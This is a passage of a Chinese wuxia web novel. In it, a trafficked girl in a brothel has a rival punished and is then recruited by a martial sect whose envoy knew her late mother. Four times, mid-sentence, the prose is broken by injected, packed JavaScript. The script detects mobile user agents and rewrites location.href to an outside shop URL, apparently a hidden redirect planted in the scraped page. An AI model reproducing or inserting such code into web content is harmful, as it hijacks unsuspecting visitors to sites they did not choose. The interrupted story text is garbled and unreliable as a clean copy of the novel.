“你说云裳是你最好的朋友?你说你把云裳当姐姐看?那么一开始妈妈要卖云裳去下处的时候,你为什么不说话?妈妈要把云裳卖给五老太的时候,你为什么不说话?云裳最后被拖走的时候,你为什么还是不说话?还有现在,你怎么也不说话了?说啊!” 轻芳心中恨极,怨怼又胆怯地看着姜晗,“我不说话,还不是因为我没能力。怜侬你又不一样,你这么聪明,妈妈又那么喜欢你,你完全可以救下云裳。你有本事救,却又半途而废,还不是你嫉妒云裳?还不是你虚伪可恶!” 姜晗嗤笑,“倒打一耙前最好看看我的脸和成绩再说话。从来只有你这种多作怪的丑人嫉妒漂亮的我和云裳,从来只有你这种色厉内荏的草包嫉妒我这个考第一的。你也不想想,第一就算不是我,也轮不到你。才也好貌也好,第一名和你都没关系。有在这欺负人的时间,还不如趁机多练练刚刚学过的礼仪,还不如多拜拜神,求祂让你变得好看点,还……” 望到远处来的人,立马话锋一转,“还有,云裳的下场是她咎由自取,你刚刚说的话就是在质疑妈妈。我抽你巴掌是给你一个教训,你别自己不识好歹还连累我们大家。” 轻芳等一众女孩儿面向姜晗,不知背后有人靠近。 “你别胡说八道。”轻芳叫道,“我才没有质疑妈妈。你终于承认了,你说云裳咎由自取,你就是在嫉妒她。” “怎么回事?都聚在这里干什么?” 陈妈妈的声音魔咒一般,让所有女孩儿都抖了抖。 “妈妈。”姜晗小跑到陈妈妈身边,指着轻芳道,“轻芳说她想念云裳,说云裳应该留在占春芳。我听着不对,便打了她几下。所有人都听见了,也都看见了。妈妈若不信,可以问她们。” 说完,姜晗用堪称狠毒的目光看了所有女孩儿一圈。 “怜侬说的是真的吗?” 女孩儿们瑟缩着,不敢说话。 “不是这样的。”轻芳没想到姜晗抢先告状,立马跪在地上道,“妈妈,怜侬说谎,是她打人在先。妈妈,她不仅打了我,还打了彩漪,妈妈你看彩漪的脸。” 彩漪便是那个之前离姜晗最近后来被姜晗抓住又抽了两耳光的人。 “妈妈,轻芳在狡辩。”姜晗立刻道,“我没打彩漪,是轻芳打的。轻芳质疑妈妈的决定,挨了我的打,彩漪也帮着说了轻芳两句。轻芳不服,于是打了彩漪。怜侬知道错了,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478618|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冲动了,不该打人,但是彩漪是无辜的。”跪在地上,道,“请妈妈为彩漪做主。” 陈妈妈走到彩漪跟前,问:“彩漪,怜侬和轻芳两个人,谁说的是真话?” “我……我……”彩漪慌得站都站不稳。 “彩漪,你快说呀,是怜侬打的你。”轻芳叫道。 “彩漪,你别怕。”姜晗放柔了声音,说,“你是为了维护妈妈的决定才挨了轻芳的打,实话实说就是。妈妈就在这儿,她一定会为你做主的。” 彩漪扑通一声跪下,“妈妈,我说,是轻芳,是她打的我。” “你说谎,你胡说八道!”轻芳冲上去打彩漪,但很快被人拉开。 “呵呵。”陈妈妈冷笑,“怜侬打人的事暂且不论。轻芳,你很想念云裳是吗?” “不……不是,妈妈,我……我没有。” 陈妈妈弹了弹指甲,“这么想念云裳,你就去下处陪她吧。” 轻芳如遭雷击,跪爬着来到陈妈妈跟前,“妈妈,您饶了我吧,我不想念云裳,我一点都不想她。” 陈妈妈看也懒得看她一眼。 轻芳又爬到姜晗身边,“怜侬,我错了,我不该和你作对,我不该欺负你。我不想去下处,我求求你,你帮我说说话,求求情吧。” 姜晗握紧了手,嘴唇抖了抖,别过脸,逼着自己用冷冰冰的语气道:“你之前说要我赔你的好姐妹好朋友,我赔不了你。但你和她能互相帮助,同甘共苦,也算不枉姐妹一场了。” “不,不!” 轻芳被人拖走了。她的命运,就这么被决定了。 “怜侬,你起来,花迎使找你,别耽搁了。” “是。”姜晗低头起身,跟在陈妈妈身后。 一路穿行,她不知走了多久,不知路过了哪些山石草木,只想着轻芳被送去了下处。 这个结果是她推动的,因为轻芳是杀鸡儆猴的那只鸡。 在这里,小打小闹的胜利是没用的。吵赢一次还有下一次,扯头花赢了一次还有下一次。她需要一场绝对的胜利,一场让人惧怕的胜利。 她正想怎么策划一场战争,谁知轻芳主动撞上了枪口。 有了轻芳的前车之鉴,就算不能过滤到百分百的麻烦,也能过滤九成九。 占春芳的原则就是丛林法则。这是一个和前世光明美好世界截然相反的所在,底层的互害是常态。不做掠食者,便只能做盘中餐。但今日的掠食者,何尝不是来日别人口中的盘中餐? 不管轻芳如何,她也好,云裳也罢,都不该去下处,都不该在占春芳,包括她姜晗,包括这里的所有人。 低着头跟在陈妈妈身后。对方走路留下的脚印,自然地被姜晗的脚印覆盖。 陈妈妈宽大的袖子被风吹得一摆一摆,不经意触碰到了她的鼻尖。 姜晗愣了愣,这才发现,不知不觉间,二人只有一步之遥。停下脚步,呆呆看着陈妈妈的身影。什么时候开始,自己离她的背影已经这么近?近得像要贴在了一起。 陈妈妈皱眉回头,“傻站着干什么?还不跟上?” 跟上? 跟上什么?跟上陈妈妈的脚步吗? 姜晗忽然觉得有点喘不上气。她不由地想到了蜜水村的那条河,那四处无着的游离与窒息,她拼命地狗刨,这次却怎么也游不动,原地打转着…… 睁眼甩了甩头,任风吹拂,渴望醒醒神。 她们来到了花迎使的房间,姜晗无心屋内华丽名贵的装饰,却被墙上挂着的上善若水的善字,震得退后了半步。 古朴的章草沉厚无比,沉厚得压到了她的眼睛。那一一道笔画,在她眼前飞舞。 姜晗第一次发现,这个字是如此难写。 笔画还在飞舞,一笔一笔疾掠而过,她再无法捕捉,只有让人晕眩的影。 姜晗天旋地转…… 咚。 15. 破碎虚空 这不是自己的房间。 姜晗醒来后支起上身,撩起刺绣精致的床帐,挂在雕花的银床钩上,环视着四周。 占春芳受训的女童们,都在春光院里,四至五人住一个房间。 房间分做两室。一室小些,有一张长方形的大桌子和几个凳子,是共用的小书房。另一室大些,作为共用的寝室。寝室的床均在同一侧,每张床的右边是梳妆台,对面则是衣柜和脸盆架子。房间算不上狭窄,但也称不上宽敞。 这间屋子宽敞明亮,装饰华丽不失典雅,比陈妈妈的住处都讲究。 姜晗下了床,正要前往外间,顿了顿,张望了一下,走到梳妆桌前,拿起桌上针线盒里的剪刀。握住刀柄,背在了身后,慢慢挪步到隔绝内外室的湘妃竹帘旁,手刚伸出去,竹帘便被掀起。 姜晗整个人一激灵。 “我刚在外头听到些动静,果然你醒了。”花迎使放下帘子进了内屋,见姜晗背着手,“手上拿着什么?” “我……”低头想说辞,瞥见袖口上的线头,立马道,“我的寝衣开了线,想把线头剪了。”姜晗把剪刀拿了出来。 花迎使看了看姜晗,瞅了瞅剪刀,轻笑出声。 不等姜晗反应,她左手夺过剪刀,对着姜晗一剪。 袖口的线头飘落。 花迎使转身将剪刀放回针线盒,姜晗拍了拍抽了一下的心口。 “戏演得不太好,不过演得没有错。”花迎使坐下对着姜晗笑盈盈道。 才松了一口气的脸不知做什么表情,在放松和尴尬间,有种扭曲的滑稽。 “花迎使的话,怜侬不明白。” “那我就说一件你能明白的事。”花迎使盯着姜晗的眼睛,“你之前为那个叫云裳的丫头说情时,是准备杀死陈妈妈的吧?” 姜晗的指甲刺痛掌心,“花迎使这么说,怜侬就更不明白了。我怎么敢,怎么能杀死陈妈妈呢?” “你不敢,也不能。”站起身,花迎使走到姜晗面前,“但退无可退,便只有放手一搏。你害怕自己触怒了陈妈妈,也会被卖去五老太那儿,便想着鱼死网破也好。所以,你才和陈妈妈请求,到她的跟前陈词,实际这只是掩盖你真实目的的借口。” “花迎使多虑了。怜侬请求到陈妈妈跟前,是因为知晓陈妈妈掌管占春芳,必然不能接受被人当众顶撞。私下里说,或许能少挨些责骂。” “理由很好,可是你有三个破绽。”花迎使弯下腰,轻轻拍了拍姜晗的脸,“你离护卫的距离太近了。这也怪不得你,你年纪小,手臂不够长,自然离得近些才更有可能拔出那人腰间的匕首。还有就是,你下决定时,一瞬间的杀气太明显了。再来,你的回答不经意暴露了你的心,你说的是陈妈妈,不是妈妈。” 姜晗的心扑通扑通猛跳。 “又多了一个破绽。”花迎使点了点姜晗的胸口,“心跳太快太剧烈了。” 姜晗深吸好几口气,开口的声音有些奇怪的走调,“我……我是紧张。您的指责实在太吓人了。什么匕首什么杀气,我……”眼泪落下,“我真的听不懂。” 啜泣的声音渐渐变大,仿佛受了天大的委屈。 花迎使摸了摸姜晗的头顶,“这次演得好,孺子可教。” “你不承认也没什么。陈妈妈她只是一个商人,一个妓院的老鸨。她看不出你的杀意,更感觉不到你那让寻常人难以察觉的杀气。你不用担心。” 姜晗还在抽泣着。 花迎使看着她这模样,不禁笑了,“死不承认,虽然在有些时候显得不识时务,可在更多的时候,这意味着不将把柄递到别人手里。时务和把柄,就看你选什么了。但只要选择了,就要承担选择的后果。” 不再和姜晗纠缠杀人意图的事,花迎使道:“你晕厥了半日,水米未进,小孩子正是长身体的时候,吃些东西吧。”为姜晗倒了一杯白水,又将桌上的点心推到她面前,“空腹的话,白水比茶好。” “多谢花迎使。”姜晗抹了抹眼泪,喝了口水,却没用点心。 “为什么不吃东西?” 姜晗摇了摇头,“我吃不下。” “因为轻芳?” 姜晗垂下了眼,没有说话。 “做都做了,你再这般后悔自责的作态,不觉得又伪善又可笑吗?” “可笑?”姜晗平静道,“难道我啐一口轻芳愚蠢活该就不可笑了吗?她聚众欺负我,我反击是应该,但我也害她。害她是真,不忍也是真,只心中愧悔却无行动补偿更是真。我的确是伪君子,但这不代表真小人就是好东西。更不意味着,真小人高伪君子一等。” “才说你演得好,又暴露了。你不应该回答我,更不应该讲道理,应该展现出后悔、委屈和羞愧,做戏要做全套。” 这人还真是好为人师。姜晗默默地想。 “和你说话,也不知是好是坏。”花迎使喝了一口茶水,“你一点都不像一个孩子,这意味和你说话很省力。可也因为你不像一个孩子,我不得不以对待成年人的方式对待你,这就很吃力。每个人要做的事情有很多,和复杂的成人打交道,远没有和纯真的孩子相处开心。” “我让您失望了。” “恰恰相反,你是我选中的三人之一,也是三人中资质最好的。” “敢问花迎使,你选人是要做什么?”姜晗忍不住问出了心中最深的疑问。 “我让陈妈妈叫你,就是要和你说这事。你和另外两个女孩儿,你们有着和占春芳普通姑娘不同的天分。还记得我刚刚指出你的破绽之一是杀气吗?你的杀气,普通人难以察觉,可在真正的习武之人眼中,就太显眼了。” 习武之人?姜晗的表情变得很奇怪,一副你有毛病在讲笑话的模样。 什么情况?习武之人什么鬼?这烂世界还有武侠背景吗? “我来就是为花间门选拔准弟子的。花间门是个江湖门派,是占春芳真正的主人。” 见姜晗还是一脸不信,花迎使道,“你不信?这没什么。人总会因为自己的认知而不自觉做出无知的事。你该庆幸陈妈妈不会武,她身边的护卫最多也就是后天三重的废物,他们察觉不到你的杀气。否则,你的下场绝对比云裳和轻芳更惨。” “后天三重?这是武学境界吗?有后天,莫不是还有先天?” “倒是会举一反三。”花迎使道,“后天的确是武学境界,共有九重。一重藏精,二重练力,三重贯通,四重內劲,五重理气,六重气动,七重气海,八重通脉,九重入微,入微又称半步先天。入微之上,便是先天之境。这可是我等望尘莫及的境界。当今世上,也不过五人而已。” 姜晗正想问九重境界的具体内容和关键,花迎使已猜到她要问什么,道,“现在的你不必先去弄清各个境界的意义,有些事知道太早反而对修行不利。” “那五大先天高手都是谁?这总能告诉我吧。” “为什么想知道这个?” 姜晗有些奇怪,“为什么不想知道这个?既然要习武,自然就该知道谁是最强的。” “看来你是个有上进心的。五大先天高手分别是,我朝的镇军大将军棠负舟、大安国寺的方丈半月僧、魏国辽王皇甫清都、魏国大内总管曹雨臣,以及黎国的中书侍郎墨回天。” “五个先天,四个都是朝廷之人?” 这和姜晗想象的完全不一样,她以为的先天高手,应该都是隐居山林的高人,或者某个江湖门派的掌门长老之类的。 “你错了,不是四个,是五个。半月僧出家前的俗名是周懿。这个周,是周棠吴陆的周。” 周棠吴陆,这四家是南晟的顶级名门,皆为三世三公的膏粱世家。 “棠负舟的棠,也是周棠吴陆的棠吧?”姜晗有些不平,“搞什么!这是以权力家世分配武力值吗?怎么练个武还媚权?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478619|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 花迎使没听过武力值这个词汇,但不影响她理解姜晗的意思。 她不禁笑出了声,“你总算像个孩子了。武力和权力,天然不可分。野兽还知道划地盘争首领,何况是人?学文,要书籍,要老师;习武,要功法,要药石,也要老师。你以为,没有足够的财力支撑,这些都能天上掉给你吗?” “难道没有家世的人就出不了头吗?” “怎么不能?曹雨臣、墨回天都不是世家子,他们不还是先天高手?世家子那么多,当世不也才出了三个先天?家世的分辨靠的是血统和姓氏,但是家世最关键的用处是作为资源的倾注渠道。” “难道历史上就没有自学成才的吗?” “有。”花迎使回答道,“这就要靠另外两样东西了。” “什么东西?” “运气、天赋。” 姜晗说不出话来了,有运气有天赋,也不算是真正的普通人了。而能成为先天的,不管家世如何,都不会缺运气和天赋。 人生而平等。这是姜晗两辈子的认知。 同时,两辈子的经历也告诉了姜晗,人真正生而平等的,是死而平等。 人的性格、体质、智力、外表、环境的差异,都必然带来成长的差异。 而如果什么都没有还不想努力,那能依靠的只有命里的运气了。 就拿今生的姜晗来说,即便她的经历称得上糟糕透顶,但也得承认,她颇有运气。 运气的来源,就是这辈子的生母露朝云,让姜晗中了一张大大的基因彩票。 因为基因彩票中的美貌,她能被占春芳选中,成功避开去五老太处的命运。 因为基因彩票中的根骨,她又被花迎使选中,成功在占春芳有了特殊地位。 基因彩票不是万能的,可它却是这辈子的敲门砖。否则,即便姜晗有着成人的智慧,也很难在这个破烂世界的底层生存。 “其实,先天也不是真正的修行终点。” 姜晗疑惑,“先天之上,还有境界?” 花迎使嗯了一声,“那才是最可望不可及的。习武之人称它为破碎虚空,已有二百年不曾出现这样的人物了。” 破碎虚空都出来了? 姜晗眼角抽抽,是要覆雨翻云还是缔造边荒传奇啊? 虽觉不可思议,但她心中亦动。 “花迎使,破碎虚空是不是指,可以离开这个世界?” “按《奇志录》中所说,破碎虚空,是引气入体,通往仙界。” “引气入体?引的什么气?”姜晗发散思维,“仙界是真有其事,还是只是人们的想象?” 花迎使苦笑,“我一个连先天都摸不到边的人,你能指望我能解答什么是引气?什么是仙界?不过《奇志录》上有提,想要破碎虚空引气入体,不但要达到先天境界,也要找到三枚玉仙令。” “玉仙令?这又是什么?长什么样?” “这我哪知道。” “那你刚刚说的《奇志录》是什么?” “它是一个名叫扶摇客的人所著的志怪笔记,颇为有趣。许多江湖之人都认为,这本书里说的都是真的。所以,他们都在找传说中的玉仙令。便是花间门历代门主,也不例外。” 姜晗心中升起一团火热。如果真有破碎虚空之说,那是不是可以离开这个世界,是不是可以回到自己的家? 她知道这很可笑。就像生病了不去求医却去求神婆一样可笑。然而,她又能怎么办呢?她宁愿此时此刻有个医生告诉自己,你得了精神病,什么山村什么拐卖什么青楼,都是你小说看多了臆想出来的。 可是姜晗等了八年,没有医生。 那就别怪她在“癔症”的路上一条道走到黑。 “我要破碎虚空。”姜晗呢喃着。 “你说什么?”花迎使没听清她的话。 “我要,破、碎、虚、空。” 16. 十字盟 这下轮到花迎使怔怔地看着姜晗了。 她幽幽道:“你有没有听见我刚刚说的话?破碎虚空之人,已经二百年没出现过了。当世的五大先天都做不到,就凭你?你可知道,多少人连先天的背影都摸不到,何况这传说之事。” “花迎使当年学武,难道就不曾想过破碎虚空?” “破碎虚空?”花迎使呵了一声,“当年的我,和你一样沦落青楼。一心想着和好友离开这腌臜之地,何尝有什么雄心壮志?待到真学了武,尝尽艰辛,更不会妄想了。” 花迎使温柔笑道:“你又像个孩子了。” “是因为我痴心妄想吗?” “我可以觉得你痴心妄想,但如果连你自己都认为是痴心妄想,那就是真正的痴心妄想了。” “花迎使,怜侬能问一个问题吗?” “你问。” “或许是我自作多情,我总觉得,您对我有些特别,似乎……似乎格外关注一些。” “你在我房里晕倒,我总不能不管你吧。” “就算是被选中的准弟子,现在的怜侬也不过是占春芳的雏妓而已。怜侬晕倒,您不怪罪已是大人有大量,就算心有不忍,派人照料便是。又何必亲自来看我,更无须把我安置在您的床榻上。” “才觉得你像个孩子,现在你又不像了。就不能是我这个人心眼儿特别好吗?” “花迎使今日选人时,是直接到怜侬面前。我原猜想,是因为我顶水碗站得最稳,惹了您的注意。云裳之事后,您额外点拨于我,我以为是因为我为云裳求情,给您留下了一些印象。如今醒来,您还是处处指点,且您看我的脸时,总给我一种……在看别人的感觉。我是不是……长得很像花迎使的故人,是不是那位,您说想要一起离开青楼的朋友?” “你说我指点你,那我就再指点你一次。有些事情,看破勘破,切莫说破。不然碰上一个不喜欢被人看透心思且实力在你之上的人,你这样做很危险的。” “那花迎使会是给怜侬带来危险的人呢?” “入了江湖,谁都可能会给你带来危险。”花迎使看着姜晗,目光变得有些悠远,“你的确长得很像我的那位朋友。” 说着摊开手掌,掌心躺着一枚翠绿。 翠绿方显,便被人夺去。 姜晗握着翠绿,喜极而泣,“我娘的平安扣?这是我娘的平安扣!它怎么……它怎么会在你手里?” 平安扣被人贩子老乌头抢走后,她以为再也找不回了。没想到,它竟然就这样回来了? “一个月前路过一间当铺,看到有人典当此物,便插了一手。” “那你怎么知道,它是我的?” “我问典当者,他们说这平安扣是从一个小姑娘身上得的,而他们把那小姑娘卖进了占春芳。” “怕不是问询的问吧?”姜晗捂嘴笑道。 “如你所愿,审问的问。” 也不知是怎么审问的。姜晗心里暗想:“最好把老乌头和那矮瘦家伙打得半身不遂,让他们不能死得痛快,更不能再害人。” 又问道:“花迎使怎么知道那个小姑娘就是我?难道,您认识我母亲?我母亲,就是您口中的朋友?” 花迎使点头,“你的母亲名露朝云,是昔年吴州第一名妓,南曲冠绝四海,能和戏曲班子的名角儿一较高下。她本渔家女,我则是樵夫的女儿,都因家中贫寒,被卖入了青楼。我儿时胆小怕事,常被一同学艺的人欺负,朝云常为我打抱不平。久而久之,我们就成了朋友。后来有一天,青楼来了位花迎使,说是被选中的人可以成为花间门的准弟子,将来入门派,还能修习武艺。” “花间门?莫不是一个武林门派,为什么要来青楼选人?” 花迎使愣了愣,“我原以为,你会更想知道朝云的事情。” 姜晗凝视着手心的平安扣,“我当然想知道娘的事,可我不仅想知道她的事。” 花迎使叹息,“行吧,我就和你说说。花间门的确是个江湖门派,是十字盟的一员。十字盟是一个江湖多方势力的联盟。十字乃是杀、娼、乞、药、盗、千、机、阴、相、脚,囊括了绝大多数下九流。其实多年前,江湖上有十三盟,不过娼字统合了伶字,盗字统合了窃字,脚字和乞字瓜分了闲字,十三盟就就变成了十字盟。花间门,便是娼门之首。” “难怪会来青楼。” “提醒你一句,千万别以为下九流的十字盟可以等闲视之。十字盟最可怕的杀字门之首长生殿是先天高手也不敢随意招惹的所在。娼门多为世人所鄙,但论实力,却仅次于杀门。花间门便是江湖一方巨擎,门主修为已达半步先天。门中更曾有过两位先天,祖师老门主就是其中之一,可惜,终其一生不得破碎虚空,郁郁而终。” “花间门竟然这么厉害?” “花间门传承了两百多年,叱咤风云的时候,长生殿还不知道在哪儿呢。若非师祖十五年前过世,哪里轮得到长生殿耀武扬威?”花迎使颇有不服。 “花间门和长生殿不对付?” 花迎使一改不服之色,笑着说:“不,我们是友好门派。” 姜晗心道:“你这笑,要多官方有多官方。” 她问:“长生殿殿主是什么境界?” “不确定。” “不确定?” 花迎使道:“长生殿本名雪雕堡,是西域有名的杀手组织。十八年前,突然出现了一个神秘的高手,以一人之力,在一夜之间血洗雪雕堡。从此,西域再无雪雕堡,只有长生殿。” “神秘的高手就是长生殿主?” “不错。除了血洗雪雕堡那一次,江湖上再没有长生殿主出手的传闻。所以说,他是最神秘的。” “他会是先天高手吗?” “这我就不清楚了。世上公认的先天高手只有五个。步入先天之境时,天地会有异象发生。如果他是先天,应该瞒不住。江湖上比较可靠的说法是,长生殿主可能是最接近先天的半步先天。” 姜晗问:“只是半步先天的话,为什么您说先天高手也不敢随意招惹呢?先天高手都和朝廷有关,还怕一个江湖草莽的半步先天?” 花迎使笑着回答,“但是先天高手鲜少会去西域啊。长生殿和西域的另一个重要江湖势力金骥牧场,二者牢牢把持着魏国和西域间的要道。长生殿有一大批的杀手,金骥牧场的主人养了数百骑兵,战斗力非是泛泛。便是镇守魏国西北的辽王皇甫清都也只好耐着性子和他们合作。” 说着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478620|201618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提醒道:“你千万记住,十字盟里最不好惹的是杀字门和盗字门。” “杀手不好惹我理解?小偷也不好惹?” 花迎使扶额,“盗字门可不是小偷,是强盗,杀人越货的强盗。小偷本属窃字门,后来和盗字门合并了。” 姜晗点头表示明白。 “乞字门你也要注意,拐卖你的老乌头,便是乞字门之人。” “他也是武林高手?乞字门?莫不是丐帮?” “乞字门有丐帮,但并不是所有乞字门的人都是丐帮弟子。丐帮是乞字门最大的一股势力。至于老乌头,他连武林人士都算不上,也就是个乞字门的外围。占春芳的陈妈妈,也相当于娼字门的外围。” “五老太也算乞字门的外围吗?” 花迎使点头,“她也是。她和老乌头的行当,被称为渣子行。” 姜晗扯了扯嘴角,冷哼一声,“这个渣字还是用得很恰当的。”又看了看花迎使,“嘴上叫他们渣子行,但也不影响其他门和他们做生意呢。” “你不用嘲讽。你要知道,这世上从来不是你不想和谁相处,就能不和谁相处的。” 姜晗沉默了一会儿,转而问:“别的我能理解,可是这阴和脚是干什么的?” “与尸体和白事有关的,便称为阴,脚是指水陆镖运。” 姜晗又问:“我还有一件事很奇怪,天下的下九流之人多的是,难道所有人都是十字盟的成员?” “当然不是。”花迎使回答,“十字盟是个联盟,除了长生殿在西域,其他成员都在南晟。而且,十字盟虽然是下九流势力最大的集合,也不代表所有和下九流有关的门派都是成员。比如温柔窟,也属娼门,却并没有加入。” 花迎使忽而正色,“温柔窟是花间门的死对头。世人皆言,花间情致销心魂,温柔鱼水蚀人骨。等你成了我派弟子,很可能和他们对上。” 姜晗听后表示,“这么说,温柔窟和花间门实力相当?” 花迎使道:“我派曾有两位先天祖师,温柔窟只出过一个,还是一百五十多年前的事了,如何能相提并论?但也不能因此小瞧了她们。温柔窟的事,将来你自然会知道的。” 姜晗思考了一下,问道:“听了您说的,好像之前的先天也不是全部都有朝廷背景,不是都出身世家贵族,怎么现在变了?” 闻言,花迎使叹了一口气,“这个问题不止你有,许多武林人士也有。你要知道,很久以前,先天高手没有现在这么少。同一时期,最多的时候,有过十四位先天。可后来,先天高手越来越少。更糟糕的是,不少有数百年历史甚至更久的大门派,他们的功法都渐渐断了传承,修炼也变得越来越难突破。” 听到这里,姜晗似乎明白了,她说:“正因为越来越难,所以就需要更多的资源。比起单打独斗和门派各自为政,显然和朝廷有关的势力能整合得更好。资源掌握得越多,出先天的可能性自然更大。” 花迎使目露赞叹,“你能想到这一层,很不容易。” 姜晗又问:“除了十字盟、温柔窟,还有什么要紧的江湖势力?” 花迎使对姜晗扬起笑意,“今天你已经知道了许多,江湖上的事情,不急于一时,还是说回我和你娘吧。” 17. 天香仙云 花迎使给姜晗又倒了一杯水。 “当年,我和朝云还小,并不知道习武意味着什么。只想着若能离开青楼,便是幸事。我们都祈祷自己可以被选中。我的祈祷,神明听见了,但是祂抛弃了你的母亲。” “所以您成了花迎使,而娘成为了吴州名妓?” “如果被选中的代价是和最好的朋友分离,我宁愿不要这个机会。” 花迎使面露怅然,“但是朝云不同意,她说若两个人都能离开是大喜,一人走也是小喜,若两个人都走不了,便是大悲。她要喜,不要悲。” 姜晗端起杯子的手顿了顿,又把杯子放下了。 “好在就算被花间门选中,也只是准弟子,不能立刻入门派。被选中的准弟子还是要待在原来的青楼,修习花间门的入门吐纳以及青楼的各项才艺,如此观察数年,最后通过考验,才能成为正式弟子。” 花迎使回忆着往事,“这对我是意外之喜,至少我和朝云还有几年相处的时间。四年后,我们不得不分别,就各留了一枚平安扣给对方做纪念,平安扣上,有我们亲手刻的名字。你手中平安扣上的朝云二字,就是我刻的。” “后来呢?我要知道我娘为何会沦落到后来那么凄惨的境地,我要知道是谁害了她。” 花迎使看着姜晗那双和好友相像的眼睛,心中满是愧疚和痛苦。 “是我。” 姜晗失手打翻了茶杯,“什么?” 花迎使闭上眼,“我害了她,之后还有许多人,都害了她。” 许久,她道:“入了花间门,我和朝云还有书信往来。她十四岁出道便一鸣惊人,成了花魁。天下男子,争着一睹芳容。可是,才貌再好的花魁,也是吃青春饭的。寻常人红三四年已算不错,朝云红了八年。” 姜晗听着这个和母亲被害似乎无关的往事,并没有催促。 花迎使讥笑,“二十二岁的年华,哪里不好了?可是人总是要更年轻更鲜嫩的。因着与我要好,因着依然美名远扬,老鸨对朝云很是礼遇。” “我娘难道就没想过脱籍赎身吗?” 谁知花迎使苦笑,“傻孩子,你以为脱籍很简单吗?从你进入吟书班的那一刻开始,你吃的每一粒米,穿的每一块布,都有价钱。利滚利,老鸨有的是办法让你负债累累。” “但我娘是花魁,手上应该不差银子,只是钱的问题吗?” “当然不止是钱的问题。吟书班的女人想要脱籍,老鸨不过是第一个障碍,还是一个用钱就能打发的最简单的障碍。真正的难处,在于教坊司。民妓脱籍,需要足够的银钱,再去地方官府办理手续即可。吟书班的女子属于官妓,官妓和营妓想要脱籍,必须教坊司同意。” 花迎使又告诉姜晗,“教坊司每年的脱籍人数是有限制的,且犯官家眷除非恩赦,终身不能脱籍。朝云虽不是犯官家眷,但她是名动天下的花魁,南曲唱得又那么好。你以为,教坊司愿意轻易放人吗?” 姜晗被问住了。 当真讽刺。 官妓因为教坊司这道难以迈过去的门槛,有钱却脱不了籍。民妓没有教坊司这道门槛,可没钱还是脱不了籍。 “即便教坊司不愿意放人,但我娘既然是花魁,总该有些爱慕者。那些人里,难道一个都没想过帮忙吗?” “怎么没有。”花迎使淡淡道,“不少公子哥都提出纳朝云为妾,可朝云都拒绝了。你娘清楚得很,那些个世家公子就是爱她颜色罢了。高门大户水深似海,一个不注意只怕就淹死了。脱籍是为了自由,不是为了把命都搭进去。” 姜晗直直盯着花迎使的眼睛,“那你呢?你说你是我娘的朋友,你没想过帮她吗?” 花迎使和姜晗对视着,“当然想过。花间门虽是江湖门派,却与教坊司关系很好,一些朝廷官员身边,也有我们的人。教坊司再不肯放人,只要有路子,给朝云赎身并不是难事。我那时已经疏通了关系,已经为朝云争取到了脱籍的名额,就在这时,被门中阻止。” “花间门不许弟子为青楼女子脱籍赎身?凭什么!”姜晗的口气一下子变得激动。 “因为我的一项罪过,她们不允许。” “什么罪过?” “我说过,寻常花魁红三四年已经不易,朝云红八年,除了她才貌俱佳外,还因为在青楼的那四年,我偷偷将花间门的入门吐纳教给了她。这是镇派功法离花功的吐纳之术,其根本是滋阴、养元、清神,更是天下最好的驻颜功夫。朝云虽然没什么练武的天赋,但是练了总比没练过的强。” “竟……竟是如此。”姜晗明了了,花迎使好心办了坏事。 各门各派对各家功法都是敝帚自珍。所谓道不传非人,法不传六耳。就算花迎使教的只是入门吐纳,怕也反了门规。 果然,她听对方道:“将门派功法传于外人是大忌,我自以为无人知晓,不想早就被门中长老察觉了。我进了花间门后,力争上游,成为师祖的徒孙,那些长老便只当不知。但我准备为朝云赎身的时候,恰逢师祖去世。没了师祖庇佑,长老们便以我私传功法为由,锁我经脉,罚做了一年苦力,更用不许我为朝云赎身来惩罚我。” 花迎使苦笑,“我本想着,朝云有吐纳帮忙,容颜难衰,老鸨得倚仗她哄着她,她的日子会好过很多。只要我在花间门得势,助她脱离苦海还不是易如反掌?谁想倒是害了她。那些长老……那些长老……” 转过头,花迎使不敢看向姜晗的眼睛,“她们说,你既帮了她成为名妓,那她若是赎身,岂不辜负了这一身本领?既如此,就让露朝云在青楼待一辈子,以此来惩戒我,警告所有人。” 这件事,是她心中永远的悔恨。 “一年后,我受罚结束,偷偷打听朝云的状况,却听到了她被人赎身的消息。” “是谁?花间门不是不允许别人为娘赎身吗?” “总有可以打破禁令的人存在,尤其朝廷的人,更可以了。” “是一个当官的给我娘赎了身?可你之前不是说,我娘不愿意去高门大户吗?” “她能拒绝公子哥,却不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 